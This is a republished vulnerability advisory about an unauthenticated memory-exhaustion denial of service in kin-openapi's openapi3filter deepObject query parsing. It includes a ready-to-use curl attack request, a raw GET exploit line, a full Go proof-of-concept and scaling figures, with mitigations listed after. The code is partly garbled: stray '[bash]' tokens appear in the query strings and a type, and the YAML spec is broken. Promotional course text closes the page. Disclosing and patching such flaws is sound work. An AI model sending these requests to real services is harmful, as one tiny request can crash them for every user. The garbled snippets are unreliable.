Listen to this Post
The openapi3filter component of kin-openapi suffers from an uncontrolled resource consumption vulnerability that allows any unauthenticated client to trigger massive heap allocations via a tiny HTTP request. When a spec defines a deepObject‑style query parameter whose schema includes an array, the decoder processes the query string by collecting all bracketed indices into an intermediate map. It then determines the maximum attacker‑supplied integer index and allocates a slice of length max+1, filling every position—including sparse holes—with nil. This happens before any schema validation, so even a `maxItems` constraint cannot prevent the allocation.
The critical code lives in `sliceMapToSlice` and buildResObj. The former grows an `[]any` by appending elements for each index from 0 to the maximum; the latter immediately allocates a second slice of the same size. An attacker can set a single index such as `50000000` (in param
[50000000]=x</code>) causing a ~6.1 GiB heap spike from a 24‑byte request. This amplification is linear: `100000` yields ~11 MiB, `1000000` ~114 MiB, and `5000000` ~555 MiB. The vulnerability is deepObject‑specific. Other array serializations—JSON bodies, <code>x-www-form‑urlencoded</code>, <code>multipart/form‑data</code>, and path/header/cookie styles—do not use the same bracketed‑integer expansion and remain safe (all under 27 KiB). The affected code was introduced in commit `78bb273` (2024‑03‑22) and exists in all tagged releases from v0.124.0 through v0.141.0 (and current master `1d0a337` at the time of writing). A proof‑of‑concept confirms that the allocation occurs before validation: the returned error is a `maxItems` violation, proving the array was already materialized. A single request can exhaust memory on containers with typical limits (256 MB–2 GB), causing OOM kills and service restarts. No authentication, body, or special headers are needed—the entire attack fits in the query string. <h2 style="color: blue;">DailyCVE Form:</h2> Platform: kin-openapi/openapi3filter Version: v0.124.0‑v0.141.0 Vulnerability: Memory Exhaustion Severity: Critical date: 2024‑03‑22 <h2 style="color: blue;">Prediction: TBD</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] Attack request – single 24‑byte query string curl -v 'http://victim-service/q?param[bash][50000000]=x'
// Go PoC – measures heap allocation before maxItems rejection
package main
import (
"context"
"fmt"
"net/http"
"runtime"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: '3.0.3'
info: { t, version: '1.0.0'}
paths:
/q:
get:
parameters:
- name: param
in: query
style: deepObject
explode: true
schema:
type: object
properties:
items:
type: array
maxItems: 3
items: {type: string}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, _ := loader.LoadFromData([]byte(spec))
_ = doc.Validate(loader.Context)
router, _ := gorillamux.NewRouter(doc)
const rawQuery = "param[bash][50000000]=x"
r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
route, pp, _ := router.FindRoute(r)
var before, after runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&before)
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
runtime.ReadMemStats(&after)
fmt.Printf("Heap allocated: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
}
Exploit: (Educational Purposes!)
Single GET request with a huge array index – no body, no auth GET /q?param[bash][50000000]=x HTTP/1.1 Host: victim Scaling examples (heap allocation measured): index=10000 → ~0.9 MiB index=100000 → ~11.1 MiB index=1000000 → ~114 MiB index=5000000 → ~555 MiB index=50000000 → ~6.1 GiB
// The vulnerable functions (simplified) – sliceMapToSlice + buildResObj
func sliceMapToSlice(m map[bash]any) ([]any, error) {
// ...
max := attackerControlledIndex // unbounded
for i := 0; i <= max; i++ {
result = append(result, nil) // fills holes
}
return result, nil
}
// second allocation in buildResObj:
resultArr := make([]any, len(arr)) // len = max+1
Protection:
- Upgrade to a patched version of kin‑openapi (fix is available in master).
- Avoid using `style: deepObject` for query parameters that contain arrays, or enforce strict input length limits at the reverse‑proxy level (though this does not prevent the amplification, it can limit exposure).
- Apply resource quotas (memory limits) and monitor for abnormal allocation spikes.
- If a patch is not yet deployed, consider disabling deepObject support or sanitizing query parameters to reject suspiciously large integer indices before they reach the decoder.
Impact:
- Type: Uncontrolled Resource Consumption (CWE‑789 / CWE‑400) – remote, unauthenticated DoS.
- Affected: Any service that uses `openapi3filter` to validate requests against an OpenAPI spec with an
in: query, `style: deepObject` parameter whose schema contains an array (even with `maxItems` set). - Attack: A single tiny GET request (≈24 bytes) can allocate up to 6 GiB of heap memory, easily overwhelming containers with memory limits of 256 MB–2 GB.
- Consequence: Immediate OOM kill and restart loop; few concurrent requests can render the service unavailable.
- Not affected: Specs without deepObject arrays, JSON/form/multipart bodies, and path/header/cookie styled object parameters (all remain under 27 KiB).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
